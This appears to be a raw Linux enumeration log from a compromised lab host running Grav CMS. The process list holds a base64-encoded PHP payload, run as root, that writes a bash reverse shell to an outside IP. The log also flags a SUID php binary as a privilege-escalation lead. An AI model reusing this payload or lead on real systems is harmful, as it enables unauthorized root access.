System/Kernel


www-data@gravity:~/html/grav-admin$ uname -a ; cat /etc/*release
Linux gravity 5.4.0-146-generic #163-Ubuntu SMP Fri Mar 17 18:26:02 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.6 LTS"
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
  • 5.4.0-146-generic
  • x86_64
  • Ubuntu 20.04.6 LTS (Focal Fossa)

Networks


www-data@gravity:~/html/grav-admin$ ip route ; /sbin/arp -a
default via 192.168.154.254 dev ens160 proto static 
192.168.154.0/24 dev ens160 proto kernel scope link src 192.168.154.12 
_gateway (192.168.154.254) at 00:50:56:9e:0f:31 [ether] on ens160
www-data@gravity:~/html/grav-admin$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    141 192.168.154.12:39092    192.168.45.218:9999     ESTABLISHED 91277/bash          
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -           

tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -

Users & Groups


www-data@gravity:~/html/grav-admin$ cat /etc/passwd ; ls -lasht /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
alex:x:1000:1000::/home/alex:/bin/bash
total 12K
4.0K drwxr-xr-x 19 root root 4.0K Mar 29  2023 ..
4.0K drwxr-xr-x  3 root root 4.0K Mar 29  2023 .
4.0K drwx--x--x  2 alex alex 4.0K Mar 29  2023 alex

alex

www-data@gravity:~/html/grav-admin$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
uid=103(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm),5(tty)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(tss) gid=111(tss) groups=111(tss)
uid=107(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=108(tcpdump) gid=113(tcpdump) groups=113(tcpdump)
uid=109(landscape) gid=115(landscape) groups=115(landscape)
uid=110(pollinate) gid=1(daemon) groups=1(daemon)
uid=111(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=112(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=998(lxd) gid=100(users) groups=100(users)
uid=113(fwupd-refresh) gid=117(fwupd-refresh) groups=117(fwupd-refresh)
uid=1000(alex) gid=1000(alex) groups=1000(alex)

uid=1000(alex) gid=1000(alex) groups=1000(alex)

SUIDs


www-data@gravity:~/html/grav-admin$ find / -perm -04000 -ls -type f 2>/dev/null
      816     84 -rwsr-xr-x   1 root     root        85064 Nov 29  2022 /snap/core20/1852/usr/bin/chfn
      822     52 -rwsr-xr-x   1 root     root        53040 Nov 29  2022 /snap/core20/1852/usr/bin/chsh
      891     87 -rwsr-xr-x   1 root     root        88464 Nov 29  2022 /snap/core20/1852/usr/bin/gpasswd
      975     55 -rwsr-xr-x   1 root     root        55528 Feb  7  2022 /snap/core20/1852/usr/bin/mount
      984     44 -rwsr-xr-x   1 root     root        44784 Nov 29  2022 /snap/core20/1852/usr/bin/newgrp
      999     67 -rwsr-xr-x   1 root     root        68208 Nov 29  2022 /snap/core20/1852/usr/bin/passwd
     1109     67 -rwsr-xr-x   1 root     root        67816 Feb  7  2022 /snap/core20/1852/usr/bin/su
     1110    163 -rwsr-xr-x   1 root     root       166056 Jan 16  2023 /snap/core20/1852/usr/bin/sudo
     1168     39 -rwsr-xr-x   1 root     root        39144 Feb  7  2022 /snap/core20/1852/usr/bin/umount
     1257     51 -rwsr-xr--   1 root     systemd-resolve    51344 Oct 25  2022 /snap/core20/1852/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1629    463 -rwsr-xr-x   1 root     root              473576 Mar 30  2022 /snap/core20/1852/usr/lib/openssh/ssh-keysign
      811     84 -rwsr-xr-x   1 root     root               85064 Mar 14  2022 /snap/core20/1611/usr/bin/chfn
      817     52 -rwsr-xr-x   1 root     root               53040 Mar 14  2022 /snap/core20/1611/usr/bin/chsh
      886     87 -rwsr-xr-x   1 root     root               88464 Mar 14  2022 /snap/core20/1611/usr/bin/gpasswd
      970     55 -rwsr-xr-x   1 root     root               55528 Feb  7  2022 /snap/core20/1611/usr/bin/mount
      979     44 -rwsr-xr-x   1 root     root               44784 Mar 14  2022 /snap/core20/1611/usr/bin/newgrp
      992     67 -rwsr-xr-x   1 root     root               68208 Mar 14  2022 /snap/core20/1611/usr/bin/passwd
     1101     67 -rwsr-xr-x   1 root     root               67816 Feb  7  2022 /snap/core20/1611/usr/bin/su
     1102    163 -rwsr-xr-x   1 root     root              166056 Jan 19  2021 /snap/core20/1611/usr/bin/sudo
     1160     39 -rwsr-xr-x   1 root     root               39144 Feb  7  2022 /snap/core20/1611/usr/bin/umount
     1249     51 -rwsr-xr--   1 root     systemd-resolve    51344 Apr 29  2022 /snap/core20/1611/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1621    463 -rwsr-xr-x   1 root     root              473576 Mar 30  2022 /snap/core20/1611/usr/lib/openssh/ssh-keysign
      139    121 -rwsr-xr-x   1 root     root              123560 Feb 22  2023 /snap/snapd/18596/usr/lib/snapd/snap-confine
     1555     52 -rwsr-xr--   1 root     messagebus         51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1369     16 -rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
    51081    144 -rwsr-xr-x   1 root     root              146888 Dec  1  2022 /usr/lib/snapd/snap-confine
     1568    464 -rwsr-xr-x   1 root     root              473576 Mar 30  2022 /usr/lib/openssh/ssh-keysign
     1578     24 -rwsr-xr-x   1 root     root               22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
     8601     52 -rwsr-xr-x   1 root     root               53040 Nov 29  2022 /usr/bin/chsh
      483     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
     1087     68 -rwsr-xr-x   1 root     root               67816 Feb  7  2022 /usr/bin/su
      664     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount
     8457     84 -rwsr-xr-x   1 root     root               85064 Nov 29  2022 /usr/bin/chfn
     1159     40 -rwsr-xr-x   1 root     root               39144 Feb  7  2022 /usr/bin/umount
     7015    164 -rwsr-xr-x   1 root     root              166056 Jan 16  2023 /usr/bin/sudo
     8638     68 -rwsr-xr-x   1 root     root               68208 Nov 29  2022 /usr/bin/passwd
      294     44 -rwsr-xr-x   1 root     root               44784 Nov 29  2022 /usr/bin/newgrp
      815     56 -rwsr-xr-x   1 root     root               55528 Feb  7  2022 /usr/bin/mount
    53120   4676 -rwsr-xr-x   1 root     root             4786104 Feb 23  2023 /usr/bin/php7.4
     8621     88 -rwsr-xr-x   1 root     root               88464 Nov 29  2022 /usr/bin/gpasswd

53120 4676 -rwsr-xr-x 1 root root 4786104 Feb 23 2023 /usr/bin/php7.4

SGIDs


www-data@gravity:~/html/grav-admin$ find / -type f -perm -02000 -ls 2>/dev/null
      811     83 -rwxr-sr-x   1 root     shadow      84512 Nov 29  2022 /snap/core20/1852/usr/bin/chage
      872     31 -rwxr-sr-x   1 root     shadow      31312 Nov 29  2022 /snap/core20/1852/usr/bin/expiry
     1101    343 -rwxr-sr-x   1 root     crontab    350504 Mar 30  2022 /snap/core20/1852/usr/bin/ssh-agent
     1187     35 -rwxr-sr-x   1 root     tty         35048 Feb  7  2022 /snap/core20/1852/usr/bin/wall
     7290     43 -rwxr-sr-x   1 root     shadow      43168 Feb  2  2023 /snap/core20/1852/usr/sbin/pam_extrausers_chkpwd
     7334     43 -rwxr-sr-x   1 root     shadow      43160 Feb  2  2023 /snap/core20/1852/usr/sbin/unix_chkpwd
      806     83 -rwxr-sr-x   1 root     shadow      84512 Mar 14  2022 /snap/core20/1611/usr/bin/chage
      867     31 -rwxr-sr-x   1 root     shadow      31312 Mar 14  2022 /snap/core20/1611/usr/bin/expiry
     1093    343 -rwxr-sr-x   1 root     crontab    350504 Mar 30  2022 /snap/core20/1611/usr/bin/ssh-agent
     1179     35 -rwxr-sr-x   1 root     tty         35048 Feb  7  2022 /snap/core20/1611/usr/bin/wall
     7245     43 -rwxr-sr-x   1 root     shadow      43168 Sep 17  2021 /snap/core20/1611/usr/sbin/pam_extrausers_chkpwd
     7289     43 -rwxr-sr-x   1 root     shadow      43160 Sep 17  2021 /snap/core20/1611/usr/sbin/unix_chkpwd
   134856     16 -rwxr-sr-x   1 root     utmp        14648 Sep 30  2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
      483     56 -rwsr-sr-x   1 daemon   daemon      55560 Nov 12  2018 /usr/bin/at
      496     16 -rwxr-sr-x   1 root     tty         14488 Mar 30  2020 /usr/bin/bsd-write
     8337     84 -rwxr-sr-x   1 root     shadow      84512 Nov 29  2022 /usr/bin/chage
     1202     36 -rwxr-sr-x   1 root     tty         35048 Feb  7  2022 /usr/bin/wall
     8619     32 -rwxr-sr-x   1 root     shadow      31312 Nov 29  2022 /usr/bin/expiry
     1077    344 -rwxr-sr-x   1 root     ssh        350504 Mar 30  2022 /usr/bin/ssh-agent
      581     44 -rwxr-sr-x   1 root     crontab     43720 Feb 13  2020 /usr/bin/crontab
     3994     44 -rwxr-sr-x   1 root     shadow      43160 Feb  2  2023 /usr/sbin/unix_chkpwd
     3988     44 -rwxr-sr-x   1 root     shadow      43168 Feb  2  2023 /usr/sbin/pam_extrausers_chkpwd

Capabilities


www-data@gravity:~/html/grav-admin$ getcap -r / 2>/dev/null

Processes


www-data@gravity:~/html/grav-admin$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.3  0.6 107436 12840 ?        Ss   13:58   0:10 /sbin/init maybe-ubiquity
root         487  0.0  0.8  52132 17360 ?        S<s  13:58   0:00 /lib/systemd/systemd-journald
root         522  0.0  0.3  22624  6100 ?        Ss   13:58   0:00 /lib/systemd/systemd-udevd
root         694  0.0  0.8 345708 17948 ?        SLsl 13:58   0:00 /sbin/multipathd -d -s
systemd+     734  0.0  0.3  90880  6136 ?        Ssl  13:58   0:00 /lib/systemd/systemd-timesyncd
root         745  0.0  0.5  47544 10336 ?        Ss   13:58   0:00 /usr/bin/VGAuthService
root         746  0.0  0.4 237808  8164 ?        Ssl  13:58   0:01 /usr/bin/vmtoolsd
systemd+     820  0.0  0.3  27372  8012 ?        Ss   13:58   0:00 /lib/systemd/systemd-networkd
systemd+     822  0.0  0.6  24412 13000 ?        Ss   13:58   0:00 /lib/systemd/systemd-resolved
root         919  0.0  0.4 239280  9004 ?        Ssl  14:00   0:00 /usr/lib/accountsservice/accounts-daemon
root         924  0.0  0.1   6816  2876 ?        Ss   14:00   0:00 /usr/sbin/cron -f
message+     927  0.0  0.2   7668  4484 ?        Ss   14:00   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         945  0.0  0.1  81956  3532 ?        Ssl  14:00   0:00 /usr/sbin/irqbalance --foreground
root         946  0.0  0.8  29664 17444 ?        Ss   14:00   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         948  0.0  0.4 236420  9124 ?        Ssl  14:00   0:00 /usr/lib/policykit-1/polkitd --no-debug
syslog       949  0.0  0.2 224344  5108 ?        Ssl  14:00   0:00 /usr/sbin/rsyslogd -n -iNONE
root         951  0.4  2.1 949032 42968 ?        Ssl  14:00   0:11 /usr/lib/snapd/snapd
root         953  0.0  0.3  17228  7376 ?        Ss   14:00   0:00 /lib/systemd/systemd-logind
root         955  0.0  0.6 395568 13820 ?        Ssl  14:00   0:00 /usr/lib/udisks2/udisksd
daemon       960  0.0  0.1   3796  2140 ?        Ss   14:00   0:00 /usr/sbin/atd -f
root         978  0.0  0.0   5828  1716 tty1     Ss+  14:00   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1002  0.0  0.3  12180  7336 ?        Ss   14:00   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1018  0.0  0.6 318816 13344 ?        Ssl  14:00   0:00 /usr/sbin/ModemManager
root        1041  0.0  0.9 107924 19780 ?        Ssl  14:00   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root        1042  0.0  1.7 236728 36428 ?        Ss   14:00   0:00 /usr/sbin/apache2 -k start
root        1371  0.0  1.3 384920 27772 ?        Ssl  14:00   0:00 /usr/libexec/fwupd/fwupd
root        1468  0.0  0.4 314956  8732 ?        Ssl  14:00   0:00 /usr/lib/upower/upowerd
www-data   48980  0.0  0.7 237000 14912 ?        S    14:24   0:00 /usr/sbin/apache2 -k start
www-data   51310  0.0  0.7 237000 14912 ?        S    14:25   0:00 /usr/sbin/apache2 -k start
www-data   52188  0.0  0.7 237000 14912 ?        S    14:25   0:00 /usr/sbin/apache2 -k start
www-data   56358  0.0  0.7 237000 14912 ?        S    14:25   0:00 /usr/sbin/apache2 -k start
www-data   56491  0.0  0.7 237000 14912 ?        S    14:25   0:00 /usr/sbin/apache2 -k start
www-data   62004  0.0  0.7 237000 14912 ?        S    14:26   0:00 /usr/sbin/apache2 -k start
root       67357  0.0  0.0      0     0 ?        I    14:27   0:00 [kworker/u4:3-events_power_efficient]
www-data   78987  0.0  0.7 237000 15220 ?        S    14:28   0:00 /usr/sbin/apache2 -k start
www-data   84486  0.0  0.7 237000 15220 ?        S    14:29   0:00 /usr/sbin/apache2 -k start
www-data   87810  0.0  0.7 237000 15220 ?        S    14:30   0:00 /usr/sbin/apache2 -k start
www-data   89824  0.0  0.7 237000 15220 ?        S    14:30   0:00 /usr/sbin/apache2 -k start
root       91265  0.0  0.1   8484  3344 ?        S    14:42   0:00 /usr/sbin/CRON -f
www-data   91266  0.0  0.0   2608   596 ?        Ss   14:42   0:00 /bin/sh -c cd /var/www/html/grav-admin;/usr/bin/php bin/grav scheduler 1>> /dev/null 2>&1
root       91267  0.1  2.7 122460 54876 ?        S    14:42   0:00 /usr/bin/php bin/grav scheduler
root       91274  0.0  1.6 103668 32788 ?        S    14:42   0:00 /usr/bin/php -r eval(base64_decode("Lyo8P3BocCAvKiovCmZpbGVfcHV0X2NvbnRlbnRzKCcvdG1wL3Jldi5zaCcsYmFzZTY0X2RlY29kZSgnWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE9USXVNVFk0TGpRMUxqSXhPQzg1T1RrNUlEQStKakU9JykpO2NobW9kKCcvdG1wL3Jldi5zaCcsMDc1NSk7c3lzdGVtKCdiYXNoIC90bXAvcmV2LnNoJyk7Cg=="));
www-data   91275  0.0  0.0   2608   532 ?        S    14:42   0:00 sh -c bash /tmp/rev.sh
www-data   91276  0.0  0.1   6892  3216 ?        S    14:42   0:00 bash /tmp/rev.sh
www-data   91277  0.0  0.2   7236  4104 ?        S    14:42   0:00 bash -i
www-data   91367  0.0  0.1   9080  3484 ?        R    14:42   0:00 ps -auxwww

Cron & Systemd


www-data@gravity:~/html/grav-admin$ crontab -l ; cat /etc/crontab ; systemctl list-timers
* * * * * cd /var/www/html/grav-admin;/usr/bin/php bin/grav scheduler 1>> /dev/null 2>&1
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT        LAST                        PASSED      UNIT                         ACTIVATES                     
Mon 2025-03-31 14:50:55 UTC 7min left   n/a                         n/a         ua-timer.timer               ua-timer.service              
Mon 2025-03-31 15:09:00 UTC 25min left  Mon 2025-03-31 14:39:01 UTC 4min 4s ago phpsessionclean.timer        phpsessionclean.service       
Mon 2025-03-31 23:55:51 UTC 9h left     Mon 2025-03-31 14:00:37 UTC 42min ago   fwupd-refresh.timer          fwupd-refresh.service         
Tue 2025-04-01 00:00:00 UTC 9h left     Mon 2025-03-31 14:00:37 UTC 42min ago   logrotate.timer              logrotate.service             
Tue 2025-04-01 00:00:00 UTC 9h left     Mon 2025-03-31 14:00:37 UTC 42min ago   man-db.timer                 man-db.service                
Tue 2025-04-01 00:28:19 UTC 9h left     Mon 2025-03-31 14:00:37 UTC 42min ago   apt-daily.timer              apt-daily.service             
Tue 2025-04-01 06:55:52 UTC 16h left    Mon 2025-03-31 14:00:37 UTC 42min ago   apt-daily-upgrade.timer      apt-daily-upgrade.service     
Tue 2025-04-01 07:38:54 UTC 16h left    Mon 2025-03-31 14:00:37 UTC 42min ago   motd-news.timer              motd-news.service             
Tue 2025-04-01 14:13:19 UTC 23h left    Mon 2025-03-31 14:13:19 UTC 29min ago   systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sun 2025-04-06 03:10:36 UTC 5 days left Mon 2025-03-31 14:00:37 UTC 42min ago   e2scrub_all.timer            e2scrub_all.service           
Mon 2025-04-07 00:00:00 UTC 6 days left Mon 2025-03-31 14:00:37 UTC 42min ago   fstrim.timer                 fstrim.service                
 
11 timers listed.
Pass --all to see loaded but inactive timers, too.

* * * * * cd /var/www/html/grav-admin;/usr/bin/php bin/grav scheduler 1>> /dev/null 2>&1

Services


www-data@gravity:~/html/grav-admin$ systemctl list-units --state=running
  UNIT                              LOAD   ACTIVE SUB     DESCRIPTION                                                  
  proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
  init.scope                        loaded active running System and Service Manager                                   
  accounts-daemon.service           loaded active running Accounts Service                                             
  apache2.service                   loaded active running The Apache HTTP Server                                       
  atd.service                       loaded active running Deferred execution scheduler                                 
  cron.service                      loaded active running Regular background program processing daemon                 
  dbus.service                      loaded active running D-Bus System Message Bus                                     
  fwupd.service                     loaded active running Firmware update daemon                                       
  getty@tty1.service                loaded active running Getty on tty1                                                
  irqbalance.service                loaded active running irqbalance daemon                                            
  ModemManager.service              loaded active running Modem Manager                                                
  multipathd.service                loaded active running Device-Mapper Multipath Device Controller                    
  networkd-dispatcher.service       loaded active running Dispatcher daemon for systemd-networkd                       
  open-vm-tools.service             loaded active running Service for virtual machines hosted on VMware                
  polkit.service                    loaded active running Authorization Manager                                        
  rsyslog.service                   loaded active running System Logging Service                                       
  snapd.service                     loaded active running Snap Daemon                                                  
  ssh.service                       loaded active running OpenBSD Secure Shell server                                  
  systemd-journald.service          loaded active running Journal Service                                              
  systemd-logind.service            loaded active running Login Service                                                
  systemd-networkd.service          loaded active running Network Service                                              
  systemd-resolved.service          loaded active running Network Name Resolution                                      
  systemd-timesyncd.service         loaded active running Network Time Synchronization                                 
  systemd-udevd.service             loaded active running udev Kernel Device Manager                                   
  udisks2.service                   loaded active running Disk Manager                                                 
  unattended-upgrades.service       loaded active running Unattended Upgrades Shutdown                                 
  upower.service                    loaded active running Daemon for power management                                  
  vgauth.service                    loaded active running Authentication service for virtual machines hosted on VMware 
  dbus.socket                       loaded active running D-Bus System Message Bus Socket                              
  multipathd.socket                 loaded active running multipathd control socket                                    
  snapd.socket                      loaded active running Socket activation for snappy daemon                          
  syslog.socket                     loaded active running Syslog Socket                                                
  systemd-journald-audit.socket     loaded active running Journal Audit Socket                                         
  systemd-journald-dev-log.socket   loaded active running Journal Socket (/dev/log)                                    
  systemd-journald.socket           loaded active running Journal Socket                                               
  systemd-networkd.socket           loaded active running Network Service Netlink Socket                               
  systemd-udevd-control.socket      loaded active running udev Control Socket                                          
  systemd-udevd-kernel.socket       loaded active running udev Kernel Socket                                           
 
LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.
 
38 loaded units listed.

apache2.service

Sudo Version


www-data@gravity:~/html/grav-admin$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

Sudo version 1.8.31

Glibc Version


www-data@gravity:~/html/grav-admin$ ldd --version
ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31